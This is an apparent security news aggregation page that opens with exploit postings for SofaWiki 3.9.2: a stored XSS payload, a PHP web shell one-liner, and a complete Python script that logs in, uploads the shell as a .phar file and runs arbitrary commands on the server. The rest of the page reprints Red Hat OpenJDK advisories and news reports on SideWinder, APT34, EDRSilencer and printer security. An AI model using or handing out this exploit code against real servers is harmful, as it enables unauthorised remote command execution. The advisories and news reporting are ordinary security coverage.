SofaWiki version 3.9.2 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: SofaWiki 3.9.2 - Stored XSS (Authenticated)# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPSummary:A stored XSS exists in SofaWiki's Open Ticket feature. An authenticateduser can inject a JavaScript payload into the ticket's title field, whichtriggers whenever the ticket is viewed.Proof of Concept (PoC):1. Login and go to New Ticket:http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new2. Use this payload in the Title field:<script>alert('XSS');</script>3. Click Open Ticket the alert will be triggered.The payload runs each time the ticket is opened.

SofaWiki 3.9.2 Cross Site Scripting

SofaWiki version 3.9.2 suffers from a remote shell upload vulnerability.

    # Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPSummary:A remote code execution (RCE) vulnerability exists in the Open Ticketfeature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` filethat contains PHP code, bypassing `.htaccess` restrictions, and executearbitrary commands on the server.Exploit Steps:1. Login to SofaWiki.2. Navigate to Special → Tickets → New Ticket:http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new3. Select your shell.phar file with this content:   <?php system($_GET['cmd']); ?>4. Fill in the ticket title and click Open Ticket.5. After the ticket is created, the page shows a link to the uploadedshell.phar6. access the webshell:http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami--------------# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload  Exploit# Date: 10/17/2024# Exploit Author: Chokri Hammedi# Vendor Homepage: https://www.sofawiki.com# Software Link: https://www.sofawiki.com/site/files/snapshot.zip# Version: 3.9.2# Tested on: Windows XPimport requestsimport reimport sysclass SofaWikiExploit:    def __init__(self, base_url, username, password):        self.base_url = base_url.rstrip('/')        self.username = username        self.password = password        self.session = requests.Session()    def detect_login_name(self):        response =self.session.get(f"{self.base_url}/index.php?action=login")        match = re.search(r'name="name" value="([^"]+)"', response.text)        if not match:            print("\033[91m\033[1m[-] couldn't find the 'name' field.Exiting.\033[0m")            sys.exit(1)        return match.group(1)    def login(self):        print("\033[93m[*] logging in...\033[0m")        login_name = self.detect_login_name()        data = {            "submitlogin": "Login",            "username": self.username,            "pass": self.password,            "name": login_name,            "action": "login"        }        response = self.session.post(f"{self.base_url}/index.php",data=data)        if "Logout" in response.text:            print("\033[92m\033[1m[+] Login successful!\033[0m")            return True        print("\033[91m[-] login failed.\033[0m")        return False    def upload_shell(self):        print("\033[93m[*] uploading shell...\033[0m")        shell_content = '<?php system($_GET["cmd"]); ?>'        files = {            'uploadedfile': ('shell.phar', shell_content,'application/octet-stream'),            'title': (None, 'Chokri Hammedi Exploit'),            'text': (None, 'Chokri Hammedi RCE'),            'assigned': (None, 'admin'),            'priority': (None, '1 high'),            'submitopen': (None, 'Open Ticket'),            'MAX_FILE_SIZE': (None, '8000000')        }        response =self.session.post(f"{self.base_url}/index.php?name=special:tickets",files=files)        match = re.search(r'File (.*?) uploaded', response.text)        if not match:            print("\033[91m[-] shell upload failed.\033[0m")            sys.exit(1)        shell_url = f"{self.base_url}/site/files/{match.group(1)}"        print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m")        return shell_url    def execute_command(self, shell_url, cmd):        print(f"\033[93m[*] running command: {cmd}\033[0m")        response = self.session.get(f"{shell_url}?cmd={cmd}")        print("\033[92m[+] command output:\033[0m")        print(f"\033[1m{response.text}\033[0m")if __name__ == "__main__":    if len(sys.argv) != 5:        print(f"\033[91musage: {sys.argv[0]} <target_url> <username><password> <cmd>\033[0m")        sys.exit(1)    target_url, username, password, cmd = sys.argv[1:5]    exploit = SofaWikiExploit(target_url, username, password)    if exploit.login():        shell_url = exploit.upload_shell()        exploit.execute_command(shell_url, cmd)

SofaWiki 3.9.2 Shell Upload

Red Hat Security Advisory 2024-8126-03 - An update is now available for OpenJDK. Issues addressed include buffer overflow and integer overflow vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8126.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenJDK 17.0.13 Security Update for Windows Builds  
Advisory ID:        RHSA-2024:8126-03  
Product:            OpenJDK  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8126  
Issue date:         2024-10-17  
Revision:           03  
CVE Names:          CVE-2023-48161  
====================================================================

Summary: 

An update is now available for OpenJDK.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The OpenJDK 17 packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.

This release of the Red Hat build of OpenJDK 17 (17.0.13) for Windows serves as a replacement for the Red Hat build of OpenJDK 17 (17.0.12) and includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.

Security Fix(es):

* giflib: Heap-Buffer Overflow during Image Saving in DumpScreen2RGB Function (CVE-2023-48161)

* OpenJDK: Array indexing integer overflow (8328544) (CVE-2024-21210)

* OpenJDK: HTTP client improper handling of maxHeaderSize (8328286) (CVE-2024-21208)

* OpenJDK: Unbounded allocation leads to out-of-memory error (8331446) (CVE-2024-21217)

* OpenJDK:  Integer conversion error leads to incorrect range check (8332644) (CVE-2024-21235)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-48161

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2251025  
https://bugzilla.redhat.com/show_bug.cgi?id=2318524  
https://bugzilla.redhat.com/show_bug.cgi?id=2318526  
https://bugzilla.redhat.com/show_bug.cgi?id=2318530  
https://bugzilla.redhat.com/show_bug.cgi?id=2318534

Red Hat Security Advisory 2024-8126-03

Red Hat Security Advisory 2024-8123-03 - An update is now available for OpenJDK. Issues addressed include buffer overflow and integer overflow vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8123.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenJDK 11.0.25 Security Update for Windows Builds  
Advisory ID:        RHSA-2024:8123-03  
Product:            OpenJDK  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8123  
Issue date:         2024-10-17  
Revision:           03  
CVE Names:          CVE-2023-48161  
====================================================================

Summary: 

An update is now available for OpenJDK.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The OpenJDK 11 packages provide the OpenJDK 11 Java Runtime Environment and the OpenJDK 11 Java Software Development Kit.

This release of the Red Hat build of OpenJDK 11 (11.0.25) for Windows serves as a replacement for the Red Hat build of OpenJDK 11 (11.0.24) and includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.

Security Fix(es):

* giflib: Heap-Buffer Overflow during Image Saving in DumpScreen2RGB  
Function (CVE-2023-48161)

* JDK: Array indexing integer overflow (8328544) (CVE-2024-21210)

* JDK: HTTP client improper handling of maxHeaderSize (8328286)  
(CVE-2024-21208)

* JDK: Unbounded allocation leads to out-of-memory error (8331446)  
(CVE-2024-21217)

* JDK: Integer conversion error leads to incorrect range check (8332644)  
(CVE-2024-21235)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-48161

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2251025  
https://bugzilla.redhat.com/show_bug.cgi?id=2318524  
https://bugzilla.redhat.com/show_bug.cgi?id=2318526  
https://bugzilla.redhat.com/show_bug.cgi?id=2318530  
https://bugzilla.redhat.com/show_bug.cgi?id=2318534

Red Hat Security Advisory 2024-8123-03

Red Hat Security Advisory 2024-8119-03 - An update is now available for OpenJDK. Issues addressed include buffer overflow and integer overflow vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8119.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenJDK 8u432 Windows Security Update  
Advisory ID:        RHSA-2024:8119-03  
Product:            OpenJDK  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8119  
Issue date:         2024-10-17  
Revision:           03  
CVE Names:          CVE-2023-48161  
====================================================================

Summary: 

An update is now available for OpenJDK.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The OpenJDK 8 packages provide the OpenJDK 8 Java Runtime Environment and the OpenJDK 8 Java Software Development Kit.

This release of the Red Hat build of OpenJDK 8 (8u432) for Windows serves as a replacement for the Red Hat build of OpenJDK 8 (8u422) and includes security and bug fixes, and enhancements. For further information, refer to the release notes linked to in the References section.

Security Fix(es):

* giflib: Heap-Buffer Overflow during Image Saving in DumpScreen2RGB Function (CVE-2023-48161)

* OpenJDK: Array indexing integer overflow (8328544) (CVE-2024-21210)

* OpenJDK: HTTP client improper handling of maxHeaderSize (8328286) (CVE-2024-21208)

* OpenJDK: Unbounded allocation leads to out-of-memory error (8331446) (CVE-2024-21217)

* OpenJDK:  Integer conversion error leads to incorrect range check (8332644) (CVE-2024-21235)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-48161

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2251025  
https://bugzilla.redhat.com/show_bug.cgi?id=2318524  
https://bugzilla.redhat.com/show_bug.cgi?id=2318526  
https://bugzilla.redhat.com/show_bug.cgi?id=2318530  
https://bugzilla.redhat.com/show_bug.cgi?id=2318534

Red Hat Security Advisory 2024-8119-03

An advanced persistent threat (APT) actor with suspected ties to India has sprung forth with a flurry of attacks against high-profile entities and strategic infrastructures in the Middle East and Africa.
The activity has been attributed to a group tracked as SideWinder, which is also known as APT-C-17, Baby Elephant, Hardcore Nationalist, Leafperforator, Rattlesnake, Razor Tiger, and T-APT-04.
"

An advanced persistent threat (APT) actor with suspected ties to India has sprung forth with a flurry of attacks against high-profile entities and strategic infrastructures in the Middle East and Africa.

The activity has been attributed to a group tracked as SideWinder, which is also known as APT-C-17, Baby Elephant, Hardcore Nationalist, Leafperforator, Rattlesnake, Razor Tiger, and T-APT-04.

"The group may be perceived as a low-skilled actor due to the use of public exploits, malicious LNK files and scripts as infection vectors, and the use of public RATs, but their true capabilities only become apparent when you carefully examine the details of their operations," Kaspersky researchers Giampaolo Dedola and Vasily Berdnikov said.

Targets of the attacks include government and military entities, logistics, infrastructure and telecommunications companies, financial institutions, universities, and oil trading companies located in Bangladesh, Djibouti, Jordan, Malaysia, the Maldives, Myanmar, Nepal, Pakistan, Saudi Arabia, Sri Lanka, Turkey, and the U.A.E.

SideWinder has also been observed setting its sights on diplomatic entities in Afghanistan, France, China, India, Indonesia, and Morocco.

The most significant aspect of the recent campaign is the use of a multi-stage infection chain to deliver a previously unknown post-exploitation toolkit called StealerBot.

It all commences with a spear-phishing email with an attachment – either a ZIP archive containing a Windows shortcut (LNK) file or a Microsoft Office document – that, in turn, executes a series of intermediate JavaScript and .NET downloaders to ultimately deploy the StealerBot malware.

The documents rely on the tried-and-tested technique of remote template injection to download an RTF file that is stored on an adversary-controlled remote server. The RTF file, for its part, triggers an exploit for CVE-2017-11882, to execute JavaScript code that's responsible for running additional JavaScript code hosted on mofa-gov-sa.direct888\[.\]net.

On the other hand, the LNK file employs the mshta.exe utility, a Windows-native binary designed to execute Microsoft HTML Application (HTA) files, to run the same JavaScript code hosted on a malicious website controlled by the attacker.

The JavaScript malware serves to extract an embedded Base64-encoded string, a .NET library named "App.dll" that collects system information and functions as a downloader for a second .NET payload from a server ("ModuleInstaller.dll").

ModuleInstaller is also a downloader, but one that's equipped to maintain persistence on the host, execute a backdoor loader module, and retrieve next-stage components. But in an interesting twist, the manner in which they are run is determined by what endpoint security solution is installed on the host.

"The Bbckdoor loader module has been observed since 2020," the researchers said, pointing out its ability to evade detection and avoid running in sandboxed environments. "It has remained almost the same over the years."

"It was recently updated by the attacker, but the main difference is that old variants are configured to load the encrypted file using a specific filename embedded in the program, and the latest variants were designed to enumerate all the files in the current directory and load those without an extension."

The end goal of the attacks is to drop StealerBot via the Backdoor loader module. Described as a .NET-based "advanced modular implant," it is specifically geared to facilitate espionage activities by fetching several plugins to -

*   Install additional malware using a C++ downloader
*   Capture screenshots
*   Log keystrokes
*   Steal passwords from browsers
*   Intercept RDP credentials
*   Steal files
*   Start reverse shell
*   Phish Windows credentials, and
*   Escalate privileges bypassing User Account Control (UAC)

"The implant consists of different modules loaded by the main 'Orchestrator,' which is responsible for communicating with the \[command-and-control\] and executing and managing the plugins," the researchers said. "The Orchestrator is usually loaded by the backdoor loader module."

Kaspersky said it detected two installer components – named InstallerPayload and InstallerPayload\_NET – that don't feature as part of the attack chain, but are used to install StealerBot to likely update to a new version or infect another user.

The expansion of SideWinder's geographic reach and its use of a new sophisticated toolkit comes as cybersecurity company Cyfirma detailed new infrastructure running the Mythic post-exploitation framework and linked to Transparent Tribe (aka APT36), a threat actor believed to be of Pakistani origin.

"The group is distributing malicious Linux desktop entry files disguised as PDFs," it said. "These files execute scripts to download and run malicious binaries from remote servers, establishing persistent access and evading detection."

"APT36 is increasingly targeting Linux environments due to their widespread use in Indian government sectors, particularly with the Debian-based BOSS OS and the introduction of Maya OS."

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SideWinder APT Strikes Middle East and Africa With Stealthy Multi-Stage Attack

By Dmytro Korzhevin, Asheer Malhotra, Vanja Svajcer and Vitor Ventura. 


Cisco Talos has observed a new wave of attacks active since at least late 2023, from a Russian speaking group we track as “UAT-5647”, against Ukrainian government entities and unknown Polish entities. 
UAT-5647 is also known

UAT-5647 targets Ukrainian and Polish entities with RomCom malware variants

A MOIS-aligned threat group has been using Microsoft Exchange servers to exfiltrate sensitive data from Gulf-state government agencies.

Source: Daniren via Alamy Stock Photo

An Iranian threat actor has been ramping up its espionage against Gulf-state government entities, particularly those within the United Arab Emirates (UAE).

APT34 (aka Earth Simnavaz, OilRig, MuddyWater, Crambus, Europium, Hazel Sandstorm) is a group that has been previously tied to the Iranian Ministry of Intelligence and Security (MOIS). It's known to spy on high-value targets in major industries across the Middle East: oil and gas; finance; chemicals; telecommunications; other forms of critical infrastructure; and governments. Its attacks have demonstrated a sophistication befitting its targets, with suites of custom malware and an ability to evade detection for long periods of time.

Recently, Trend Micro has observed a "notable rise" in APT34's espionage and theft of sensitive information from government agencies, most notably within the UAE. These newer cases have featured a new backdoor, "StealHook," which uses Microsoft Exchange servers to exfiltrate credentials useful for escalating privileges and performing follow-on supply chain attacks.

**APT34's Latest Activity**

Recent APT34 attacks have begun with Web shells deployed to vulnerable Web servers. These Web shells allow the hackers to run PowerShell code, and download or upload files from or to the compromised server.

One tool it downloads, for example, is ngrok, legitimate reverse proxy software for creating secure tunnels between local machines and the broader Internet. APT34 weaponizes ngrok as a means of command-and-control (C2) that tunnels through firewalls and other network security barricades, facilitating its path to a network's Domain Controller.

"One of the most impressive feats we've observed from APT34 is their skill in crafting and fine-tuning stealthy exfiltration channels that allow them to steal data from high profile sensitive networks," notes Sergey Shykevich, threat intelligence group manager at Check Point Research, which recently uncovered an APT34 espionage campaign against Iraqi government ministries. In its prior campaigns, the group has mostly secured its C2 communications via DNS tunneling and compromised email accounts.

To obtain greater privileges on infected machines, APT34 has been exploiting CVE-2024-30088. Discovered through the Trend Micro Zero Day Initiative (ZDI) and patched back in June, CVE-2024-30088 allows attackers to gain system-level privileges in Windows. It affects multiple versions of Windows 10 and 11, and Windows Server 2016, 2019, and 2022, and received a "high" severity 7 out of 10 score in the Common Vulnerability Scoring System (CVSS). That rating would've been higher, but for the fact that it requires local access to a system, and isn't simple to exploit.

APT34's best trick, though, is its technique for abusing Windows password filters.

Windows allows organizations to implement custom password security policies — for example, to enforce good hygiene among users. APT34 drops a malicious DLL into the Windows system directory, registering it like one would a legitimate password filter. That way, if a user changes their password — a good cybersecurity practice to do often — APT34's malicious filter will intercept it, in plaintext.

To complete its attack, APT34 calls on its newest backdoor, StealHook. StealHook retrieves domain credentials that allow it into an organization's Microsoft Exchange servers. Using the targeted organization's servers and stolen email accounts, the backdoor can now exfiltrate stolen credentials and other sensitive government data via email attachments.

**Follow-On Risks of APT34 Attacks**

"The technique of abusing Exchange for data exfiltration and C&C is very effective and hard to detect," says Mohamed Fahmy, cyber threat intelligence researcher at Trend Micro. "It has been used for years in \[APT34's\] Karkoff backdoor, and most of the time it evades detection."

Besides exfiltrating sensitive account credentials and other government data, APT34 has also been known to leverage this level of access in one organization to carry out follow-on attacks against others tied to it.

For some time now, Fahmy says, the threat actor has "fully compromised a specific organization, and then used its servers to initiate a new attack against another organization (having a trust relationship with the infected one). In this case, the threat actor can leverage Exchange to send phishing emails."

He adds that government agencies in particular often relate to one another closely, "so the threat actor could compromise this trust."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Iran's APT34 Abuses MS Exchange to Spy on Gulf Gov'ts

By using EDRSilencer, threat actors are able to prevent security alerts and reports getting generated.

Source: Artur Marciniec via Alamy Stock Photo

EDRSilencer, a tool frequently used in red-team operations, is being co-opted by the dark side in malicious attempts to identify security tools and mute security alerts.

As an open source endpoint detection and response tool that detects EDR processes running on a system, EDRSilencer uses Windows Filtering Platform (WFP) to monitor, block, and modify network traffic. 

The red-team tool is capable of blocking 16 common EDR tools, including Microsoft Defender, SentinelOne, FortiEDR, Palto Alto Networks Traps/Cortex XDR, and TrendMicro Apex One, among others.

The threat actors behind the subversion are attempting to integrate the tool into their attacks and repurpose it to evade detection. If successful, they can disrupt data exchange between EDRSilencer and its management server, preventing not just alerts but also detailed telemetry reports. It also gives the attackers options to add filters or avoid certain file paths to evade detection.

"The emergence of EDRSilencer as a means of evading endpoint detection and response systems marks a significant shift in the tactics employed by threat actors," the researchers at TrendMicro wrote in a post. "By disabling critical security communications, it enhances the stealth of malicious activities, increasing the potential for successful ransomware attacks and operational disruptions."

The researchers note that organizations must remain vigilant and implement advanced detection mechanisms as well as threat hunting strategies to counteract these evasion tools.

**About the Author**

Bad Actors Manipulate Red-Team Tools to Evade Detection

The shift to a distributed work model has exposed organizations to new threats, and a low but continuing stream of printer-related vulnerabilities isn't helping.

Source: Magnetic Mcc via Shutterstock

The shift to hybrid work models has exposed new vulnerabilities in corporate print infrastructure and heightened security risks at many organizations.

The risks run the gamut and include employees using insecure and unmanaged printers, remote workers sending print jobs over public networks, inadequate user authentication and print job release processes, exposed local spools and caches, and inconsistent patching practices.

A relatively low but steady volume of print-related vulnerabilities have exacerbated these issues. Recent examples of such vulnerabilities include CVE-2024-38199 (a remote code execution \[RCE\] vulnerability in the Windows or Line Printer Daemon \[LPD\] Service), CVE-2024-21433 (a Windows Print Spooler elevation of privilege vulnerability), and CVE-2024-43529 (a similar vulnerability that Microsoft disclosed in its October security update). The threats are certainly not Windows-specific, either. Recently, researchers discovered a set of potentially severe flaws in Common Unix Printing System (CUPS), a legacy protocol largely used in Linux, Unix, and heterogeneous environments.

Though few of these flaws have presented as major a threat as the PrintNightmare RCE flaw from 2021 in the Windows Print Spooler service, they have complicated the challenge of managing modern print infrastructure. Attackers, including nation-state actors, have sometimes abused printer software vulnerabilities — like CVE-2022-38028 — to substantial effect in their campaigns.

**Increase in Printer-Related Breaches**

The trends have driven an increase in print-related data breaches. A recent study that Quocirca conducted found that 67% of respondents experienced a printer-related security incident in 2024, compared with 61% last year. Small and mid-market organizations fared worse, with three-quarters (74%) reporting a printer-related data loss incident. Thirty-three percent pointed to unmanaged, employee-owned printers as a major security concern, and 29% identified vulnerabilities in office printing environments as presenting a major risk. More than a quarter (28%) identified their biggest printer related security challenge as protecting sensitive and confidential information.

Casey Ellis, founder and chief strategy officer at Bugcrowd, says the takeaway for organizations is that print security needs to be priority for decision makers. "Printer and print servers are an excellent place to establish persistence and gain business intelligence on a target," he says. The CUPS vulnerabilities showed that old, unused printer software can still represent a significant attack surface, especially for internal attacks and lateral movement.

Unfortunately, many organizations might be underestimating the risks or overlooking them altogether. And the shift to cloud/hybrid print environments have made printer infrastructure even more of an invisible issue from a vulnerability management standpoint, Ellis notes. "Let’s be real — the list of people who spend their days thinking about or even interacting with printers is a pretty small one," he says. "If your vulnerability management process allows out-of-sight, out-of-mind to dictate priority, it’s easy to miss \[printer security risks\]," he says.

The main takeaway is a general one, Ellis says: "Organizations need to remain diligent about their asset inventory and overall attack surface and ensure that they have a process for evaluating the risk."

**Printers, an Underestimated Risk?**

The legacy nature of many printer service environments is another issue, because vulnerabilities can sometimes exist undetected on them for years. Often, these printer environments lack the kind of monitoring tools that are available on other endpoint systems, making them a big target for attackers.

Often flaws are introduced into organizations' print infrastructure because print services are on by default and administrators are not aware of this, says Tom Boyer, director of security at Automox. "This means that this risk will go unseen for years and adversaries use that to their advantage," he notes. "They often know more about the target environment than the company themselves."

The Quocirca survey found security to be the top barrier to adoption of cloud print services as well.

"Although many organizations believe the cloud is more secure than an on-premise environment, security concerns remain a critical barrier to cloud print adoption," says Nicole Heinsler, chief engineer of security and device management at Xerox. "Overall, there is a disconnect between providers and clients on how the cloud can improve security by managing zero-day threats more effectively, and how data sovereignty can be more easily managed through cloud policies."

**Cloud Printing Cyber-Risks**

The survey found that many organizations view resting data — such as print jobs waiting in a queue and documents uploaded to the cloud print service — as a primary risk, Heinsler says: "This is why incorporating zero-trust principles in your cloud print infrastructure, such as authentication and access control, monitoring, detection, remediation, data and document protection, encryption, and automation, is so imperative."

One way to centralize print management infrastructure is to use cloud print options that deploy a native cloud architecture, rather than to attempt a "lift-and-shift" of traditional on-premises server architecture to a private cloud, she notes. The challenges organizations face will depend on the level of customization their applications have.

"For example, if they use standard print protocols, there's often little issue with \[cloud\] integration," Heinsler says. "\[But\] specific applications should be subjected to proof of concept before full enterprise deployment."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

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